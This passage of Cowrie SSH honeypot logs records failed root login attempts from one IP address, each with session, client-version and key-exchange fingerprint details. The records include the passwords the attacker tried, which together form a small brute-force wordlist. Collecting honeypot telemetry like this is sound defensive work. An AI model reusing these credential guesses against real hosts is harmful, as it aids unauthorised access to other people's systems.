98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:05.742976Z","src_ip":"60.165.124.241","session":"c901602c4ce5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer1234.","message":"login attempt [root/Qwer1234.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:06.463239Z","src_ip":"60.165.124.241","session":"c901602c4ce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:07.704642Z","src_ip":"60.165.124.241","session":"c901602c4ce5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51640,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d53ae8fb263","protocol":"ssh","message":"New connection: 60.165.124.241:51640 (10.17.0.5:22) [session: 6d53ae8fb263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:07.935489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:07.941948Z","src_ip":"60.165.124.241","session":"6d53ae8fb263","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:08.178598Z","src_ip":"60.165.124.241","session":"6d53ae8fb263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"castel","message":"login attempt [root/castel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:08.896348Z","src_ip":"60.165.124.241","session":"6d53ae8fb263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:10.137647Z","src_ip":"60.165.124.241","session":"6d53ae8fb263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55050,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb8e594e5390","protocol":"ssh","message":"New connection: 60.165.124.241:55050 (10.17.0.5:22) [session: cb8e594e5390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:10.369225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:10.374426Z","src_ip":"60.165.124.241","session":"cb8e594e5390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:10.611746Z","src_ip":"60.165.124.241","session":"cb8e594e5390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEzxc@123","message":"login attempt [root/QWEzxc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:11.325987Z","src_ip":"60.165.124.241","session":"cb8e594e5390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:12.566124Z","src_ip":"60.165.124.241","session":"cb8e594e5390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58236,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae7d65281d0f","protocol":"ssh","message":"New connection: 60.165.124.241:58236 (10.17.0.5:22) [session: ae7d65281d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:12.799066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:12.804631Z","src_ip":"60.165.124.241","session":"ae7d65281d0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:13.044369Z","src_ip":"60.165.124.241","session":"ae7d65281d0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yunzhihui123!","message":"login attempt [root/Yunzhihui123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:13.760847Z","src_ip":"60.165.124.241","session":"ae7d65281d0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:15.007325Z","src_ip":"60.165.124.241","session":"ae7d65281d0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":32942,"dst_ip":"10.17.0.5","dst_port":22,"session":"10a97700cb36","protocol":"ssh","message":"New connection: 60.165.124.241:32942 (10.17.0.5:22) [session: 10a97700cb36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:15.242124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:15.247426Z","src_ip":"60.165.124.241","session":"10a97700cb36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:15.486241Z","src_ip":"60.165.124.241","session":"10a97700cb36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:16.210300Z","src_ip":"60.165.124.241","session":"10a97700cb36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:17.453320Z","src_ip":"60.165.124.241","session":"10a97700cb36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35988,"dst_ip":"10.17.0.5","dst_port":22,"session":"db212a789117","protocol":"ssh","message":"New connection: 60.165.124.241:35988 (10.17.0.5:22) [session: db212a789117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:17.717418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:17.723367Z","src_ip":"60.165.124.241","session":"db212a789117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:17.984986Z","src_ip":"60.165.124.241","session":"db212a789117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lab123","message":"login attempt [root/lab123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:18.751840Z","src_ip":"60.165.124.241","session":"db212a789117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:20.015774Z","src_ip":"60.165.124.241","session":"db212a789117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39234,"dst_ip":"10.17.0.5","dst_port":22,"session":"adee9f508840","protocol":"ssh","message":"New connection: 60.165.124.241:39234 (10.17.0.5:22) [session: adee9f508840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:20.237599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:20.243508Z","src_ip":"60.165.124.241","session":"adee9f508840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:20.482034Z","src_ip":"60.165.124.241","session":"adee9f508840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"libreelec","message":"login attempt [root/libreelec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:21.201222Z","src_ip":"60.165.124.241","session":"adee9f508840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:22.441742Z","src_ip":"60.165.124.241","session":"adee9f508840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42678,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a8531f35fb5","protocol":"ssh","message":"New connection: 60.165.124.241:42678 (10.17.0.5:22) [session: 3a8531f35fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:22.676897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:22.681679Z","src_ip":"60.165.124.241","session":"3a8531f35fb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:22.920012Z","src_ip":"60.165.124.241","session":"3a8531f35fb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mediway@OA@2024","message":"login attempt [root/mediway@OA@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:23.641366Z","src_ip":"60.165.124.241","session":"3a8531f35fb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:24.883202Z","src_ip":"60.165.124.241","session":"3a8531f35fb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45754,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccd76c8c8333","protocol":"ssh","message":"New connection: 60.165.124.241:45754 (10.17.0.5:22) [session: ccd76c8c8333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:25.117581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:25.122438Z","src_ip":"60.165.124.241","session":"ccd76c8c8333","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:25.360333Z","src_ip":"60.165.124.241","session":"ccd76c8c8333","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@!@#123","message":"login attempt [root/root@!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:26.076231Z","src_ip":"60.165.124.241","session":"ccd76c8c8333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:27.316376Z","src_ip":"60.165.124.241","session":"ccd76c8c8333","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48648,"dst_ip":"10.17.0.5","dst_port":22,"session":"b007505c7bf3","protocol":"ssh","message":"New connection: 60.165.124.241:48648 (10.17.0.5:22) [session: b007505c7bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:27.553027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:27.557789Z","src_ip":"60.165.124.241","session":"b007505c7bf3","protocol":"ssh"}
